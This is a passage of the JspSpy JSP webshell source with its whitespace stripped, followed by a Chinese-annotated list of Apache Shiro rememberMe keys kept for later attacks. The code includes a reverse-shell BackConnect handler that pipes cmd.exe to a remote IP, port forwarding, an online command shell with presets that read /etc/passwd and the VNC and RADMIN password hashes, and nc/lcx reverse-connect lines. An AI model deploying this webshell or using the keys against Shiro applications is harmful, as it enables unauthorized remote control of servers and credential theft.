isEmpty(files))return;StringsaveFileName=request.getParameter("savefilename");FilesaveF=newFile(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);if(saveF.exists()){JSession.setAttribute(MSG,"TheFile\""+saveFileName+"\"HasBeenExists!");response.sendRedirect(SHELL_NAME+"?o=index");return;}ZipOutputStreamzout=newZipOutputStream(newBufferedOutputStream(newFileOutputStream(saveF)));String[]arr=files.split(",");for(Stringf:arr){FilepF=newFile(JSession.getAttribute(CURRENT_DIR).toString(),f);ZipEntryentry=newZipEntry(pF.getName());zout.putNextEntry(entry);FileInputStreamfInput=newFileInputStream(pF);intlen=0;byte[]buf=newbyte[1024];while((len=fInput.read(buf))!=-1){zout.write(buf,0,len);zout.flush();}fInput.close();}zout.close();JSession.setAttribute(MSG,"PackFilesSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassPackInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{StringpackedFile=request.getParameter("packedfile");if(Util.isEmpty(packedFile))return;StringsaveFileName=request.getParameter("savefilename");FilesaveF=newFile(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);if(saveF.exists()){JSession.setAttribute(MSG,"TheFile\""+saveFileName+"\"HasBeenExists!");response.sendRedirect(SHELL_NAME+"?o=index");return;}FilepF=newFile(packedFile);ZipOutputStreamzout=newZipOutputStream(newBufferedOutputStream(newFileOutputStream(saveF)));Stringbase="";if(pF.isDirectory()){zipDir(pF,base,zout);}else{zipFile(pF,base,zout);}zout.close();JSession.setAttribute(MSG,"PackFileSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}publicvoidzipDir(Filef,Stringbase,ZipOutputStreamzout)throwsException{if(f.isDirectory()){File[]arr=f.listFiles();for(Fileff:arr){StringtmpBase=base;if(!Util.isEmpty(tmpBase)&amp;&amp;!tmpBase.endsWith("/"))tmpBase+="/";zipDir(ff,tmpBase+f.getName(),zout);}}else{StringtmpBase=base;if(!Util.isEmpty(tmpBase)&amp;&amp;!tmpBase.endsWith("/"))tmpBase+="/";zipFile(f,tmpBase,zout);}}publicvoidzipFile(Filef,Stringbase,ZipOutputStreamzout)throwsException{ZipEntryentry=newZipEntry(base+f.getName());zout.putNextEntry(entry);FileInputStreamfInput=newFileInputStream(f);intlen=0;byte[]buf=newbyte[1024];while((len=fInput.read(buf))!=-1){zout.write(buf,0,len);zout.flush();}fInput.close();}}privatestaticclassUnPackInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringsavepath=request.getParameter("savepath");Stringzipfile=request.getParameter("zipfile");if(Util.isEmpty(savepath)||Util.isEmpty(zipfile))return;Filesave=newFile(savepath);save.mkdirs();ZipFilefile=newZipFile(newFile(zipfile));Enumeratione=file.entries();while(e.hasMoreElements()){ZipEntryen=(ZipEntry)e.nextElement();StringentryPath=en.getName();intindex=entryPath.lastIndexOf("/");if(index!=-1)entryPath=entryPath.substring(0,index);FileabsEntryFile=newFile(save,entryPath);if(!absEntryFile.exists()&amp;&amp;(en.isDirectory()||en.getName().indexOf("/")!=-1))absEntryFile.mkdirs();BufferedOutputStreamoutput=null;BufferedInputStreaminput=null;try{output=newBufferedOutputStream(newFileOutputStream(newFile(save,en.getName())));input=newBufferedInputStream(file.getInputStream(en));byte[]b=newbyte[1024];intlen=input.read(b);while(len!=-1){output.write(b,0,len);len=input.read(b);}}catch(Exceptionex){}finally{try{if(output!=null)output.close();if(input!=null)input.close();}catch(Exceptionex1){}}}file.close();JSession.setAttribute(MSG,"UnzipFileSuccess!");response.sendRedirect(SHELL_NAME+"?o=index");}catch(Exceptione){e.printStackTrace();throwe;}}}//VMapPortprivatestaticclassVmpInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();ObjectlocalIP=JSession.getAttribute("localIP");ObjectlocalPort=JSession.getAttribute("localPort");ObjectremoteIP=JSession.getAttribute("remoteIP");ObjectremotePort=JSession.getAttribute("remotePort");Objectdone=JSession.getAttribute("done");JSession.removeAttribute("localIP");JSession.removeAttribute("localPort");JSession.removeAttribute("remoteIP");JSession.removeAttribute("remotePort");JSession.removeAttribute("done");if(Util.isEmpty(localIP))localIP=InetAddress.getLocalHost().getHostAddress();if(Util.isEmpty(localPort))localPort="3389";if(Util.isEmpty(remoteIP))remoteIP="www.forjj.com";if(Util.isEmpty(remotePort))remotePort="80";if(!Util.isEmpty(done))Util.outMsg(out,done.toString());out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"mapPort\"&gt;"+"&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;&lt;h2id=\"Bin_H2_Title\"&gt;PortMap&amp;gt;&amp;gt;&lt;/h2&gt;"+"&lt;divid=\"hOWTm\"&gt;"+"&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"4\"cellspacing=\"0\"style=\"margin:10px0;\"&gt;"+"&lt;tralign=\"center\"&gt;"+"&lt;tdstyle=\"width:5%\"&gt;&lt;/td&gt;"+"&lt;tdstyle=\"width:20%\"align=\"left\"&gt;LocalIp:"+"&lt;inputname=\"localIP\"id=\"localIP\"type=\"text\"class=\"input\"size=\"20\"value=\""+localIP+"\"/&gt;"+"&lt;/td&gt;"+"&lt;tdstyle=\"width:20%\"align=\"left\"&gt;LocalPort:"+"&lt;inputname=\"localPort\"id=\"localPort\"type=\"text\"class=\"input\"size=\"20\"value=\""+localPort+"\"/&gt;&lt;/td&gt;"+"&lt;tdstyle=\"width:20%\"align=\"left\"&gt;RemoteIp:"+"&lt;inputname=\"remoteIP\"id=\"remoteIP\"type=\"text\"class=\"input\"size=\"20\"value=\""+remoteIP+"\"/&gt;&lt;/td&gt;"+"&lt;tdstyle=\"width:20%\"align=\"left\"&gt;RemotePort:"+"&lt;inputname=\"remotePort\"id=\"remotePort\"type=\"text\"class=\"input\"size=\"20\"value=\""+remotePort+"\"/&gt;&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;tralign=\"center\"&gt;"+"&lt;tdcolspan=\"5\"&gt;&lt;br/&gt;"+"&lt;inputtype=\"submit\"name=\"FJE\"value=\"MapPort\"id=\"FJE\"class=\"bt\"/&gt;"+"&lt;inputtype=\"button\"name=\"giX\"value=\"ClearAll\"id=\"giX\"onClick=\"location.href='"+SHELL_NAME+"?o=smp'\"class=\"bt\"/&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;"+"&lt;/div&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;"+"&lt;/form&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}//StopMapPortprivatestaticclassSmpInvokerextendsDefaultInvoker{publicbooleandoAfter(){returntrue;}publicbooleandoBefore(){returntrue;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Objectobj=JSession.getAttribute(PORT_MAP);if(obj!=null){ServerSocketserver=(ServerSocket)JSession.getAttribute(PORT_MAP);server.close();}JSession.setAttribute("done","StopSuccess!");ins.get("vmp").invoke(request,response,JSession);}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassMapPortInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();StringlocalIP=request.getParameter("localIP");StringlocalPort=request.getParameter("localPort");finalStringremoteIP=request.getParameter("remoteIP");finalStringremotePort=request.getParameter("remotePort");if(Util.isEmpty(localIP)||Util.isEmpty(localPort)||Util.isEmpty(remoteIP)||Util.isEmpty(remotePort))return;Objectobj=JSession.getAttribute(PORT_MAP);if(obj!=null){ServerSockets=(ServerSocket)obj;s.close();}finalServerSocketserver=newServerSocket();server.bind(newInetSocketAddress(localIP,Integer.parseInt(localPort)));JSession.setAttribute(PORT_MAP,server);newThread(newRunnable(){publicvoidrun(){while(true){Socketsoc=null;SocketremoteSoc=null;DataInputStreamremoteIn=null;DataOutputStreamremoteOut=null;DataInputStreamlocalIn=null;DataOutputStreamlocalOut=null;try{soc=server.accept();remoteSoc=newSocket();remoteSoc.connect(newInetSocketAddress(remoteIP,Integer.parseInt(remotePort)));remoteIn=newDataInputStream(remoteSoc.getInputStream());remoteOut=newDataOutputStream(remoteSoc.getOutputStream());localIn=newDataInputStream(soc.getInputStream());localOut=newDataOutputStream(soc.getOutputStream());this.readFromLocal(localIn,remoteOut);this.readFromRemote(soc,remoteSoc,remoteIn,localOut);}catch(Exceptionex){break;}}}publicvoidreadFromLocal(finalDataInputStreamlocalIn,finalDataOutputStreamremoteOut){newThread(newRunnable(){publicvoidrun(){while(true){try{byte[]data=newbyte[100];intlen=localIn.read(data);while(len!=-1){remoteOut.write(data,0,len);len=localIn.read(data);}}catch(Exceptione){break;}}}}).start();}publicvoidreadFromRemote(finalSocketsoc,finalSocketremoteSoc,finalDataInputStreamremoteIn,finalDataOutputStreamlocalOut){newThread(newRunnable(){publicvoidrun(){while(true){try{byte[]data=newbyte[100];intlen=remoteIn.read(data);while(len!=-1){localOut.write(data,0,len);len=remoteIn.read(data);}}catch(Exceptione){try{soc.close();remoteSoc.close();}catch(Exceptionex){}break;}}}}).start();}}).start();JSession.setAttribute("done","MapPortSuccess!");JSession.setAttribute("localIP",localIP);JSession.setAttribute("localPort",localPort);JSession.setAttribute("remoteIP",remoteIP);JSession.setAttribute("remotePort",remotePort);response.sendRedirect(SHELL_NAME+"?o=vmp");}catch(Exceptione){e.printStackTrace();throwe;}}}//VBackConnectprivatestaticclassVbcInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();Objectip=JSession.getAttribute("ip");Objectport=JSession.getAttribute("port");Objectprogram=JSession.getAttribute("program");Objectdone=JSession.getAttribute("done");JSession.removeAttribute("ip");JSession.removeAttribute("port");JSession.removeAttribute("program");JSession.removeAttribute("done");if(Util.isEmpty(ip))ip=request.getRemoteAddr();if(Util.isEmpty(port)||!Util.isInteger(port.toString()))port="4444";if(Util.isEmpty(program))program="cmd.exe";if(!Util.isEmpty(done))Util.outMsg(out,done.toString());out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"backConnect\"&gt;"+"&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;&lt;h2id=\"Bin_H2_Title\"&gt;BackConnect&amp;gt;&amp;gt;&lt;/h2&gt;"+"&lt;divid=\"hOWTm\"&gt;"+"&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"4\"cellspacing=\"0\"style=\"margin:10px0;\"&gt;"+"&lt;tralign=\"center\"&gt;"+"&lt;tdstyle=\"width:5%\"&gt;&lt;/td&gt;"+"&lt;tdalign=\"center\"&gt;YourIp:"+"&lt;inputname=\"ip\"id=\"ip\"type=\"text\"class=\"input\"size=\"20\"value=\""+ip+"\"/&gt;"+"YourPort:"+"&lt;inputname=\"port\"id=\"port\"type=\"text\"class=\"input\"size=\"20\"value=\""+port+"\"/&gt;ProgramToBack:"+"&lt;inputname=\"program\"id=\"program\"type=\"text\"value=\""+program+"\"class=\"input\"size=\"20\"value=\"d\"/&gt;&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;tralign=\"center\"&gt;"+"&lt;tdcolspan=\"2\"&gt;&lt;br/&gt;"+"&lt;inputtype=\"submit\"name=\"FJE\"value=\"Connect\"id=\"FJE\"class=\"bt\"/&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;"+"&lt;/div&gt;"+"&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;"+"&lt;/form&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassBackConnectInvokerextendsDefaultInvoker{publicbooleandoAfter(){returnfalse;}publicbooleandoBefore(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringip=request.getParameter("ip");Stringport=request.getParameter("port");Stringprogram=request.getParameter("program");if(Util.isEmpty(ip)||Util.isEmpty(program)||!Util.isInteger(port))return;Socketsocket=newSocket(ip,Integer.parseInt(port));Processprocess=Runtime.getRuntime().exec(program);(newStreamConnector(process.getInputStream(),socket.getOutputStream())).start();(newStreamConnector(socket.getInputStream(),process.getOutputStream())).start();JSession.setAttribute("done","BackConnectSuccess!");JSession.setAttribute("ip",ip);JSession.setAttribute("port",port);JSession.setAttribute("program",program);response.sendRedirect(SHELL_NAME+"?o=vbc");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassJspEnvInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;&lt;h2id=\"Ninty_H2_Title\"&gt;SystemProperties&amp;gt;&amp;gt;&lt;/h2&gt;"+"&lt;divid=\"ghaB\"&gt;"+"&lt;hrstyle=\"border:1pxsolid#ddd;height:0px;\"/&gt;"+"&lt;ulid=\"Ninty_Ul_Sys\"class=\"info\"&gt;");Propertiespro=System.getProperties();Enumerationnames=pro.propertyNames();while(names.hasMoreElements()){Stringname=(String)names.nextElement();out.println("&lt;li&gt;&lt;u&gt;"+Util.htmlEncode(name)+":&lt;/u&gt;"+Util.htmlEncode(pro.getProperty(name))+"&lt;/li&gt;");}out.println("&lt;/ul&gt;&lt;h2id=\"Ninty_H2_Mac\"&gt;SystemEnvironment&amp;gt;&amp;gt;&lt;/h2&gt;&lt;hrstyle=\"border:1pxsolid#ddd;height:0px;\"/&gt;&lt;ulid=\"Ninty_Ul_Sys\"class=\"info\"&gt;");Map&lt;String,String&gt;envs=System.getenv();Set&lt;Map.Entry&lt;String,String&gt;&gt;entrySet=envs.entrySet();for(Map.Entry&lt;String,String&gt;en:entrySet){out.println("&lt;li&gt;&lt;u&gt;"+Util.htmlEncode(en.getKey())+":&lt;/u&gt;"+Util.htmlEncode(en.getValue())+"&lt;/li&gt;");}out.println("&lt;/ul&gt;&lt;/div&gt;&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassTopInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"name=\"doForm\"&gt;&lt;/form&gt;"+"&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"0\"cellspacing=\"0\"&gt;"+"&lt;trclass=\"head\"&gt;"+"&lt;td&gt;&lt;spanstyle=\"float:right;\"&gt;&lt;ahref=\"http://www.forjj.com\"target=\"_blank\"&gt;JspSpyVer:2009&lt;/a&gt;&lt;/span&gt;"+request.getHeader("host")+"("+InetAddress.getLocalHost().getHostAddress()+")&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;trclass=\"alt1\"&gt;"+"&lt;td&gt;&lt;ahref=\"javascript:doPost({o:'logout'});\"&gt;Logout&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'fileList'});\"&gt;FileManager&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vConn'});\"&gt;DataBaseManager&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vs'});\"&gt;ExecuteCommand&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vso'});\"&gt;ShellOnLine&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vbc'});\"&gt;BackConnect&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vPortScan'});;\"&gt;PortScan&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vd'});\"&gt;DownloadRemoteFile&lt;/a&gt;|"+"&lt;ahref=\"javascript:;doPost({o:'clipboard'});\"&gt;ClipBoard&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vRemoteControl'});\"&gt;RemoteControl&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'vmp'});\"&gt;PortMap&lt;/a&gt;|"+"&lt;ahref=\"javascript:doPost({o:'jspEnv'});\"&gt;JSPEnv&lt;/a&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;");if(JSession.getAttribute(MSG)!=null){Util.outMsg(out,JSession.getAttribute(MSG).toString());JSession.removeAttribute(MSG);}}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassVOnLineShellInvokerextendsDefaultInvoker{publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{PrintWriterout=response.getWriter();out.println("&lt;script&gt;"+"function$(id){"+"returndocument.getElementById(id);"+"}"+"varie=window.navigator.userAgent.toLowerCase().indexOf(\"msie\")!=-1;"+"window.onload=function(){"+"setInterval(function(){"+"if($(\"autoscroll\").checked)"+"{"+"varf=window.frames[\"echo\"];"+"if(f&amp;&amp;f.document&amp;&amp;f.document.body)"+"{"+"if(!ie)"+"{"+"if(f.document.body.offsetHeight)"+"{"+"f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+"}"+"}else{"+"f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+"}"+"}"+"}"+"},500);"+"}"+"&lt;/script&gt;");out.println("&lt;tablewidth=\"100%\"border=\"0\"cellpadding=\"15\"cellspacing=\"0\"&gt;"+"&lt;tr&gt;"+"&lt;td&gt;");out.println("&lt;h2&gt;ShellOnLine&amp;raquo;&lt;/h2&gt;&lt;br/&gt;");out.println("&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"target=\"echo\"onsubmit=\"$('cmd').focus()\"&gt;"+"&lt;inputtype=\"submit\"value=\"start\"class=\"bt\"&gt;"+"&lt;inputtype=\"text\"name=\"exe\"style=\"width:300px\"class=\"input\"value=\"c:\\windows\\system32\\cmd.exe\"/&gt;"+"&lt;inputtype=\"hidden\"name=\"o\"value=\"online\"/&gt;&lt;inputtype=\"hidden\"name=\"type\"value=\"start\"/&gt;&lt;spanclass=\"tip\"&gt;Notice!IfYouAreUsingIE,YouMustInputACommandFirstAfterYouStartOrYouWillNotSeeTheEcho&lt;/span&gt;"+"&lt;/form&gt;"+"&lt;hr/&gt;"+"&lt;iframeclass=\"secho\"name=\"echo\"src=\"\"&gt;"+"&lt;/iframe&gt;"+"&lt;formaction=\""+SHELL_NAME+"\"method=\"post\"onsubmit=\"this.submit();$('cmd').value='';returnfalse;\"target=\"asyn\"&gt;"+"&lt;inputtype=\"text\"id=\"cmd\"name=\"cmd\"class=\"input\"style=\"width:80%\"&gt;"+"&lt;inputname=\"o\"id=\"o\"type=\"hidden\"value=\"online\"/&gt;&lt;inputtype=\"hidden\"id=\"ddtype\"name=\"type\"value=\"ecmd\"/&gt;"+"&lt;selectonchange=\"$('cmd').value=this.value;$('cmd').focus()\"&gt;"+"&lt;optionvalue=\"\"selected&gt;&lt;/option&gt;"+"&lt;optionvalue=\"uname-a\"&gt;uname-a&lt;/option&gt;"+"&lt;optionvalue=\"cat/etc/issue\"&gt;issue&lt;/option&gt;"+"&lt;optionvalue=\"cat/etc/passwd\"&gt;passwd&lt;/option&gt;"+"&lt;optionvalue=\"netstat-an\"&gt;netstat-an&lt;/option&gt;"+"&lt;optionvalue=\"netuser\"&gt;netuser&lt;/option&gt;"+"&lt;optionvalue=\"tasklist\"&gt;tasklist&lt;/option&gt;"+"&lt;optionvalue=\"tasklist/svc\"&gt;tasklist/svc&lt;/option&gt;"+"&lt;optionvalue=\"netstart\"&gt;netstart&lt;/option&gt;"+"&lt;optionvalue=\"netstoppolicyagent/yes\"&gt;netstop&lt;/option&gt;"+"&lt;optionvalue=\"nbtstat-AIP\"&gt;nbtstat-A&lt;/option&gt;"+"&lt;optionvalue='regquery\"HKLM\\System\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp\"/v\"PortNumber\"'&gt;regquery&lt;/option&gt;"+"&lt;optionvalue='regquery\"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\"/v\"Parameter\"'&gt;radminhash&lt;/option&gt;"+"&lt;optionvalue='regquery\"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\"/v\"password\"'&gt;vnchash&lt;/option&gt;"+"&lt;optionvalue=\"nc-ecmd.exe192.168.230.14444\"&gt;nc&lt;/option&gt;"+"&lt;optionvalue=\"lcx-slave192.168.230.14444127.0.0.13389\"&gt;lcx&lt;/option&gt;"+"&lt;optionvalue=\"systeminfo\"&gt;systeminfo&lt;/option&gt;"+"&lt;optionvalue=\"netlocalgroup\"&gt;viewgroups&lt;/option&gt;"+"&lt;optionvalue=\"netlocalgroupadministrators\"&gt;viewadmins&lt;/option&gt;"+"&lt;/select&gt;"+"&lt;inputtype=\"checkbox\"checked=\"checked\"id=\"autoscroll\"&gt;AutoScroll"+"&lt;inputtype=\"button\"value=\"Stop\"class=\"bt\"onclick=\"$('ddtype').value='stop';this.form.submit()\"&gt;"+"&lt;/form&gt;"+"&lt;iframestyle=\"display:none\"name=\"asyn\"&gt;&lt;/iframe&gt;");out.println("&lt;/td&gt;"+"&lt;/tr&gt;"+"&lt;/table&gt;");}catch(Exceptione){e.printStackTrace();throwe;}}}privatestaticclassOnLineInvokerextendsDefaultInvoker{publicbooleandoBefore(){returnfalse;}publicbooleandoAfter(){returnfalse;}publicvoidinvoke(HttpServletRequestrequest,HttpServletResponseresponse,HttpSessionJSession)throwsException{try{Stringtype=request.getParameter("type");if(Util.isEmpty(type))return;if(type.toLowerCase().equals("start")){Stringexe=request.getParameter("exe");if(Util.isEmpty(exe))return;Processpro=Runtime.getRuntime().exec(exe);ByteArrayOutputStreamouts=newByteArrayOutputStream();response.setContentLength(100000000);response.setContentType("text/html;charset="+Charset.defaultCharset().name());OnLineProcessolp=newOnLineProcess(pro);JSession.setAttribute(SHELL_ONLINE,olp);newOnLineConnector(newByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();newOnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();newOnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//错误信息流。Thread.sleep(1000*60*60*24);}elseif(type.equals("ecmd")){Objecto=JSession.getAttribute(SHELL_ONLINE);Stringcmd=request.getParameter("cmd");if(Util.isEmpty(cmd))return;if(o==null)return;OnLineProcessolp=(OnLineProcess)o;olp.setCmd(cmd);}else{Objecto=JSession.getAttribute(SHELL_ONLINE);if(o==null)return;OnLineProcessolp=(OnLineProcess)o;olp.stop();}}catch(Exceptione){e.printStackTrace();throwe;}}}static{ins.put("script",newScriptInvoker());ins.put("before",newBeforeInvoker());ins.put("after",newAfterInvoker());ins.put("deleteBatch",newDeleteBatchInvoker());ins.put("clipboard",newClipBoardInvoker());ins.put("vRemoteControl",newVRemoteControlInvoker());ins.put("gc",newGcInvoker());ins.put("vPortScan",newVPortScanInvoker());ins.put("portScan",newPortScanInvoker());ins.put("vConn",newVConnInvoker());ins.put("dbc",newDbcInvoker());ins.put("executesql",newExecuteSQLInvoker());ins.put("vLogin",newVLoginInvoker());ins.put("login",newLoginInvoker());ins.put("filelist",newFileListInvoker());ins.put("logout",newLogoutInvoker());ins.put("upload",newUploadInvoker());ins.put("copy",newCopyInvoker());ins.put("bottom",newBottomInvoker());ins.put("vCreateFile",newVCreateFileInvoker());ins.put("vEdit",newVEditInvoker());ins.put("createFile",newCreateFileInvoker());ins.put("vEditProperty",newVEditPropertyInvoker());ins.put("editProperty",newEditPropertyInvoker());ins.put("vs",newVsInvoker());ins.put("shell",newShellInvoker());ins.put("down",newDownInvoker());ins.put("vd",newVdInvoker());ins.put("downRemote",newDownRemoteInvoker());ins.put("index",newIndexInvoker());ins.put("mkdir",newMkDirInvoker());ins.put("move",newMoveInvoker());ins.put("removedir",newRemoteDirInvoker());ins.put("packBatch",newPackBatchInvoker());ins.put("pack",newPackInvoker());ins.put("unpack",newUnPackInvoker());ins.put("vmp",newVmpInvoker());ins.put("vbc",newVbcInvoker());ins.put("backConnect",newBackConnectInvoker());ins.put("jspEnv",newJspEnvInvoker());ins.put("smp",newSmpInvoker());ins.put("mapPort",newMapPortInvoker());ins.put("top",newTopInvoker());ins.put("vso",newVOnLineShellInvoker());ins.put("online",newOnLineInvoker());}%&gt;&lt;%try{Stringo=request.getParameter("o");if(!Util.isEmpty(o)){Invokerin=ins.get(o);if(in==null){response.sendRedirect(SHELL_NAME+"?o=index");}else{if(in.doBefore()){Stringpath=request.getParameter("folder");if(!Util.isEmpty(path))session.setAttribute(CURRENT_DIR,path);ins.get("before").invoke(request,response,session);ins.get("script").invoke(request,response,session);ins.get("top").invoke(request,response,session);}in.invoke(request,response,session);if(!in.doAfter()){return;}else{ins.get("bottom").invoke(request,response,session);ins.get("after").invoke(request,response,session);}}}else{response.sendRedirect(SHELL_NAME+"?o=index");}}catch(Exceptione){ByteArrayOutputStreambout=newByteArrayOutputStream();e.printStackTrace(newPrintStream(bout));session.setAttribute(CURRENT_DIR,SHELL_DIR);Util.outMsg(out,Util.htmlEncode(newString(bout.toByteArray())).replace("\n","&lt;br/&gt;"),"left");bout.close();out.flush();ins.get("bottom").invoke(request,response,session);ins.get("after").invoke(request,response,session);}%&gt;</li>
  <li>这里累计收集一些shiro的key用于以后备用：kPH+bIxk5D2deZiIxcaaaA==2AvVhdsgUs0FSA3SDFAdag==3AvVhmFLUs0KTA3Kprsdag==4AvVhmFLUs0KTA3Kprsdag==5aaC5qKm5oqA5pyvAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==bWljcm9zAAAAAAAAAAAAAA==wGiHplamyXlVB11UXWol8g==Z3VucwAAAAAAAAAAAAAAAA==MTIzNDU2Nzg5MGFiY2RlZg==zSyK5Kp6PZAAjlT+eeNMlg==U3ByaW5nQmxhZGUAAAAAAA==5AvVhmFLUs0KTA3Kprsdag==bXdrXl9eNjY2KjA3Z2otPQ==fCq+/xW488hMTCD+cmJ3aQ==1QWLxg+NYmxraMoxAXu/Iw==ZUdsaGJuSmxibVI2ZHc9PQ==L7RioUULEFhRyxM7a2R/Yg==r0e3c16IdVkouZgk1TKVMg==bWluZS1hc3NldC1rZXk6QQ==a2VlcE9uR29pbmdBbmRGaQ==WcfHGU25gNnTxTlmJMeSpw==ZAvph3dsQs0FSL3SDFAdag==tiVV6g3uZBGfgshesAQbjA==cmVtZW1iZXJNZQAAAAAAAA==ZnJlc2h6Y24xMjM0NTY3OA==RVZBTk5JR0hUTFlfV0FPVQ==WkhBTkdYSUFPSEVJX0NBVA==GsHaWo4m1eNbE0kNSMULhg==l8cc6d2xpkT1yFtLIcLHCg==KU471rVNQ6k7PQL4SqxgJg==0AvVhmFLUs0KTA3Kprsdag==1AvVhdsgUs0FSA3SDFAdag==25BsmdYwjnfcWmnhAciDDg==3JvYhmBLUs0ETA5Kprsdag==6AvVhmFLUs0KTA3Kprsdag==6NfXkC7YVCV5DASIrEm1Rg==7AvVhmFLUs0KTA3Kprsdag==8AvVhmFLUs0KTA3Kprsdag==8BvVhmFLUs0KTA3Kprsdag==9AvVhmFLUs0KTA3Kprsdag==OUHYQzxQ/W9e/UjiAGu6rg==a3dvbmcAAAAAAAAAAAAAAA==aU1pcmFjbGVpTWlyYWNsZQ==bXRvbnMAAAAAAAAAAAAAAA==OY//C4rhfwNxCQAQCrQQ1Q==5J7bIJIV0LQSN3c9LPitBQ==f/SY5TIve5WWzT4aQlABJA==bya2HkYo57u6fWh5theAWw==WuB+y2gcHRnY2Lg9+Aqmqg==3qDVdLawoIr1xFd6ietnwg==YI1+nBV//m7ELrIyDHm6DQ==6Zm+6I2j5Y+R5aS+5ZOlAA==2A2V+RFLUs+eTA3Kpr+dag==6ZmI6I2j3Y+R1aSn5BOlAA==SkZpbmFsQmxhZGUAAAAAAA==2cVtiE83c4lIrELJwKGJUw==fsHspZw/92PrS3XrPW+vxw==XTx6CKLo/SdSgub+OPHSrw==sHdIjUN6tzhl8xZMG3ULCQ==O4pdf+7e+mZe8NyxMTPJmQ==HWrBltGvEZc14h9VpMvZWw==rPNqM6uKFCyaL10AK51UkQ==Y1JxNSPXVwMkyvES/kJGeQ==lT2UvDUmQwewm6mMoiw4Ig==MPdCMZ9urzEA50JDlDYYDg==xVmmoltfpb8tTceuT5R7Bw==c+3hFGPjbgzGdrC+MHgoRQ==ClLk69oNcA3m+s0jIMIkpg==Bf7MfkNR0axGGptozrebag==1tC/xrDYs8ey+sa3emtiYw==ZmFsYWRvLnh5ei5zaGlybw==cGhyYWNrY3RmREUhfiMkZA==IduElDUpDDXE677ZkhhKnQ==yeAAo1E8BOeAYfBlm4NG9Q==cGljYXMAAAAAAAAAAAAAAA==2itfW